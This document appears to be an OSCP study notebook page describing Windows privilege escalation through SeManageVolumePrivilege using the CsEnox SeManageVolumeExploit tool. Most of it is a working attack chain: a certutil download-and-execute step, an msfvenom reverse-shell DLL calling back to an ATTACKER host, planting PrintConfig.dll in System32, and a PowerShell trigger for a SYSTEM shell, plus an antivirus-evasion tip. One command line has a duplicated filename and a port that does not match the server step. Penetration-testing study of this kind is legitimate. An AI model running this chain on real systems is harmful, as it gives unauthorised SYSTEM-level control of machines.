Pearson's OSCP Notebook

SeManageVolumeExploit

Properties1
tagssemanagevolumeexploit, semanagevolumeexploit.exe, semanagevolumeprivilege, privesc, windows, csenox, oscp

2 min read

SeManageVolumeExploit — SeManageVolumeExploit.exe

Ctrl+F: SeManageVolumeExploit.exe · FSCTL_SD_GLOBAL_CHANGE · CsEnox · Entries changed

Automates abuse of SeManageVolumePrivilege — rewrites volume security descriptors so all users (including you) get full control over C:\ (and thus protected dirs like System32).

Repo: CsEnox/SeManageVolumeExploit
Release: SeManageVolumeExploit.exe

→ SeManageVolumePrivilege · DLL Injection · DLL Hijacking

📌 Prerequisites

whoami /priv
REM SeManageVolumePrivilege    Perform volume maintenance tasks    Enabled

Without Enabled, the tool will not work.

📌 What the binary does (short)

  1. Enables SeManageVolumePrivilege in the token
  2. Opens handle to \\.\C: with SYNCHRONIZE | FILE_TRAVERSE
  3. Sends FSCTL_SD_GLOBAL_CHANGE — replaces Administrators (S-1-5-32-544) ACE with Users (S-1-5-32-545) in security descriptors

Result: Your user can read/write files that were ACL-protected (e.g. under C:\Windows\System32).

Credits / research: gtworek PSBits FSCTL_SD_GLOBAL_CHANGE.c · 0gtweet thread

📌 Run on target

Kali — serve binary

wget https://github.com/CsEnox/SeManageVolumeExploit/releases/download/public/SeManageVolumeExploit.exe
python3 -m http.server 8080

Target — download & execute

certutil -urlcache -split -f http://127.0.0.1:9999/SeManageVolumeExploit.exe SeManageVolumeExploit.exe SeManageVolumeExploit.exe

Expected output (example):

Entries changed: 837

Number of DACL entries modified — after this, test write access:

echo test > C:\Windows\System32\wbem\test.txt
icacls C:\Windows\System32\wbem\tzres.dll

→ certutil · File Transfer

📌 After exploit — privesc options

PathNote
tzres.dll + systeminfoDLL Injection > 📌 Lab chain — tzres.dll + systeminfo
PrintConfig.dllBelow — SYSTEM via PrintNotify
Custom DLL in service dirDLL Hijacking

📌 PrintConfig.dll → SYSTEM

From CsEnox README — after DACL abuse:

  1. Place malicious DLL at:
C:\Windows\System32\spool\drivers\x64\3\Printconfig.dll
  1. Generate DLL:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f dll -o Printconfig.dll
  1. Trigger PrintNotify (PowerShell):
$type = [Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}")
$object = [Activator]::CreateInstance($type)
  1. Catch shell on listener — often SYSTEM.

→ Msfvenom · Netcat

📌 Troubleshooting

ProblemFix
Privilege DisabledEnable via group policy assignment or different user
No “Entries changed”Re-run as user with SeManageVolume; check 64-bit binary on 64-bit OS
Still can’t write fileTry different path; confirm exploit output; use icacls
AV blocks .exeTransfer to alternate path; execute from C:\Windows\Temp

📌 Quick cheat sheet

whoami /priv
certutil -urlcache -split -f http://KALI:8080/SeManageVolumeExploit.exe
SeManageVolumeExploit.exe
REM → [[DLL Injection]] or PrintConfig.dll path

📌 Alias check (Linux/bash)

alias
alias | grep -iE 'sudo|root|pass|su |chmod'

Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.

→ Linux > 📌 1) Basic Manual Enumeration

Graph View

Backlinks